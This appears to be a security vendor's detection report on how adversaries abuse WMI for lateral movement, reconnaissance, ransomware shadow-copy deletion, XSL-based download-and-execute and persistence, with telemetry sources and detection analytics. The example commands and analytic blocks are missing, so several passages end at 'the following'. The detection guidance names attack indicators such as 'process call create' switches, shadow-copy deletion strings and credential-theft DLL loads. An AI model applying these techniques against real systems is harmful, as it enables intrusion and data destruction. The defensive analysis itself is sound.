How do adversaries use WMI?

Adversaries use WMI to:

• move laterally
• gather information
• modify systems
• achieve persistence

Before delving deeper into how adversaries use WMI, understand that there are client and server components that make up WMI. The most recognized clients are the command-line utility wmic.exe (aka WMIC) and the PowerShell cmdlet Get-WMIObject. Administrators and adversaries alike use both for the purposes mentioned above. Because we observe wmic.exe far more often than Get-WMIObject, the examples provided below will focus on the former. On the server side, wmiprvse.exe—or the WMI Provider Host—services many, but not all, requests made by clients. Note that WMIC is not the only client. There are a number of Windows binaries that make WMI calls under the hood that are handled by wmiprvse.exe—tasklist.exe is one example.

This is important to remember because if you’re looking at suspicious activity that ties back to a parent process of wmiprvse.exe, you may be dealing with an adversary who is using wmic.exe on a remote system to execute payloads on the system you’re investigating—a form of lateral movement. Here is a WMI lateral movement technique that we see often:

On the destination host, the given process will appear as a child of wmiprvse.exe. If your security audit policies are logging logon events, you should see a corresponding network (type 3) logon event associated with this activity. Variations of the above command line may include passed credentials.

Another common way adversaries use WMI, and WMIC specifically, is to gather information and modify systems. During ransomware attacks, adversaries often list and delete volume shadows, which are used to recover files. Because ransomware operators frequently use the Volume Shadow Administration utility, vssadmin.exe, for this purpose, many organizations send alerts to the SOC when it executes. However, wmic.exe may also be used to manage volume shadows without calling vssadmin.exe via a command like the following:

Ironically, we sometimes see a less than stealthy version of this attack using WMIC:

The pattern above will cause wmiprvse.exe to spawn the vssadmin.exe process.

In addition to enumerating and manipulating volume shadows, adversaries use WMIC to enumerate and modify dozens of aspects of a Windows system or environment. We’ve seen adversaries use WMIC to:

• determine what antivirus product may be installed
• stop the firewall service
• enumerate group membership (including local and in many configurations, domain administrator accounts)
• modify dozens more items of interest

We’ve also run into adversaries leveraging XSL Script Processing, which can be used to bypass application control and—courtesy of WMIC’s /format option—download code from a remote location. Here’s an example of what this can look like:

When the above command is run, it will download and execute the contents of the XSL file.

Adversaries also use WMI for persistence via the trio of WMI event consumers, filters, and filter-to-consumer bindings. Adversaries use this persistence mechanism to execute arbitrary code in response to activity on the endpoint such as a user logging in or out or a file being written to a specified path.

Regardless of whether it’s a single endpoint, an endpoint in an Active Directory domain, or an Azure VM, the WMI service will be running and available to adversaries who have already compromised an endpoint or identity

More than all of this, we observe adversaries abusing WMI through their use of Impacket’s WMIexec component, which leverages WMI to execute commands on remote Windows systems, facilitates lateral movement within a network, and more.

Importantly, Microsoft started the process of deprecating WMIC (i.e., ceasing to actively update it) all the way back in 2016. However, starting in January 2024, WMIC is disabled by default on the insider build of Windows 11. You can find a detailed list of deprecated features here. PowerShell has been and remains the ideal solution for working with WMI, so malware authors might have to shift some of their procedures over to PowerShell, which would not be particularly impactful to their operations. Besides, regardless of the process that performs WMI operations, endpoint security vendors get WMI operation context via AMSI events. You can read more about that in our blog and one from our friends at SpecterOps.

Associated threats

• Impacket
• Mimikatz

There’s no simple strategy for limiting the effectiveness of adversarial abuse of WMI. As is often the case with techniques that are common Windows utilities or processes, the nuclear option of disabling the Winmgmt service is not recommended because legitimate code often relies upon WMI. Therefore blocking it would break untold numbers of things in unexpected ways.

WMI namespaces are also securable objects, and while administrators can further restrict use, remote WMI access requires administrator privileges by default, so it’s already in a reasonably locked down state. Generally speaking, security teams should focus on collecting the right kinds of telemetry—AMSI being among the best sources—and developing methods of reliably detecting WMI abuse rather than hoping to mitigate WMI abuse altogether.

Note: The visibility sections in this report are mapped to MITRE ATT&CK data sources and components.

Our most fruitful detection analytics for catching adversarial abuse of WMI rely almost entirely on a mix of process and command monitoring, which are widely available via commercial EDR products and native Windows event logging.

Process monitoring

Processes serve as the basis for most of our WMI detection analytics. Unlike many other techniques, malicious use of WMI typically manifests as one of two processes: wmic.exe or wmiprvse.exe. In fact, much of the actual behavior associated with WMI will spawn from wmiprivse.exe. For example, if an adversary calls the Create method of the Win32_Process class in order to perform lateral movement, the executable will spawn as a child process of wmiprvse.exe on the target system.

A potentially suspicious child process of wmiprvse.exe is scrcons.exe, the script host executable responsible for executing VBScript and JScript code when the ActiveScriptEventConsumer class is leveraged for persistence. While it may be used in limited cases for legitimate purposes, scrcons.exe execution should be monitored for suspicious activity.

Command monitoring

While we have some analytics that are primarily built around process lineage, many look for a combination of processes and command-line arguments. The Get-WMIObject PowerShell cmdlet stands out as a particularly useful parameter for observing WMI activity.

Note: The collection sections of this report showcase specific log sources from Windows events, Sysmon, and elsewhere that you can use to collect relevant security information.

Windows Event ID 4688: Process Creation

As with many other attack techniques, logging process start events (4688) with command-line logging enabled can be a rich source of telemetry. More abstractly, Event ID 4688 is a great place—readily available on Windows systems—to observe WMI and other activity and start differentiating normal and benign from abnormal and suspicious.

Sysmon Event IDs 19, 20, and 21: WmiEvents

Sysmon provides specific WMI event codes (e.g., 19: WmiEventFilter activity detected, 20: WmiEventConsumer activity detected, and 21: WmiEventConsumerToFilter activity detected) that are useful for observing malicious use of WMI. If enabled, Sysmon logs permanent WMI subscriptions in the Microsoft-Windows-Sysmon/Operational event log using Event IDs 19, 20, and 21 for event filter creation, event consumer creation, and filter-to-consumer-binding creation, respectively. Legitimate software occasionally leverages these features of WMI, but they do so infrequently and are easy to monitor for malicious use.

Windows Event ID 5861: Microsoft-Windows-WMI-Activity/Operational

Event ID 5861 in the Microsoft-Windows-WMI-Activity/Operational event log reliably logs permanent WMI event subscriptions. A permanent event subscription is the primary means by which an adversary can achieve persistence using WMI. This persistence mechanism offers an adversary a tremendous amount of control over the conditions in which their payload is executed.

Antimalware Scan Interface (AMSI) telemetry

Endpoint security solutions that consume AMSI event data will receive AMSI events related to WMI tradecraft, including lateral movement attempts and permanent WMI event subscriptions. AMSI can also be useful for detecting malicious use of PowerShell’s Get-WMIObject cmdlet.

Endpoint detection and response (EDR) tools

A good EDR product will provide detailed visibility into all of the data sources referenced above and offer great value to security teams seeking to detect adversaries abusing WMI.

We have 104 detection analytics that look for malicious and suspicious WMI activity. The following detection opportunities are a synthesis of some of our most effective analytics. You can find detection opportunities relating specifically to adversary abuse of Impacket in the threats section of this report.

Note: These detection analytics may require tuning.

Suspicious process lineage

In general, trusted binaries and known administrative tools and processes will initiate WMI activity. As such, it makes sense to look for known bad processes launching WMI or deviations from the expected where a legitimate but unusual Windows binary spawns WMI—or spawns from it. The following is an amalgamation of several analytics that can detect a wide array of threats, ranging from red team activity to web shells to coinminers:

Suspicious commands

Looking for suspicious command-line parameters is another solid indicator of malice. Certain red team and post-exploitation frameworks will spawn unique and unsigned binaries or commands remotely using the well known process call create command, and we’ve got a couple different detection methods that have alerted us to related activity over the years. Potentially suspicious WMI command switches include create, node:, process, and call. Of course, the maliciousness of these commands are context-specific, and therefore, the following may require tuning or generate high volumes of false positives:

Unusual module loads

By monitoring and detecting on module loads, you can catch a variety of different malicious activities, including defense evasion and credential theft. In cases where an adversary is using WMI for credential theft, consider looking for the execution of wmiprvse.exe (or its child processes) with unusual module loads like samlib.dll or vaultcli.dll. WMI is also a useful vehicle for bypassing application controls, and we commonly see adversaries—real and simulated–using a WMI bypass method called “SquibblyTwo.” The following pseudo-detection analytic is designed specifically to catch application control bypasses, but you can likely adapt it to detect other threats by substituting in a different DLL or by removing the command:

Office products spawning WMI:

It’s almost always malicious when wmic.exe spawns as a child process of Microsoft Office and similar products. As such, it makes sense to examine the chain of execution and follow-on activity when this occurs. The following is a non-exhaustive example analytic that will catch some of this activity:

WMI reconnaissance

Reconnaissance is harder to detect because it looks very similar to normal admin behavior. Even so, we detect a relatively high volume of adversaries leveraging WMI to quickly gather domain information such as users, groups, or computers in the domain. The following may help you detect related activity:

Shadow copy deletion

It’s not uncommon for ransomware operators to leverage WMI to delete volume shadows, significantly complicating the process for recovering access to encrypted systems and files. If you want to detect ransomware using WMI to delete shadow copies, consider looking for wmic.exe execution with command lines including shadowcopy or delete.

Suspicious PowerShell cmdlets

There are numerous default PowerShell cmdlets that allow administrators to leverage WMI via PowerShell. Both adversaries and administrators use these cmdlets to query the operating system or execute commands, either locally or remotely. Cmdlets like Get-WMIObject are often used for reconnaissance.

Weeding out false positives

Network flow logs and on-the-wire WMI traffic is commonly encrypted, so it will blend in with other network traffic and could generate high volumes of false negatives. This is yet another reason—along with minimal logging and defender knowledge of WMI—for why adversaries love WMI. Authentication log monitoring for WMI requires deep knowledge of accounts and typical user activity, which is difficult for most security teams. Additionally, Windows authentication logs are verbose, noisy, and not as easy to ingest into a SIEM or similar platform.

Start testing your defenses against Windows Management Instrumentation using Atomic Red Team—an open source testing framework of small, highly portable detection tests mapped to MITRE ATT&CK.

Getting started

View atomic tests for T1047: Windows Management Instrumentation. In most environments, these should be sufficient to generate a useful signal for defenders.

Run this test on a Windows system using Command Prompt:

Useful telemetry will include: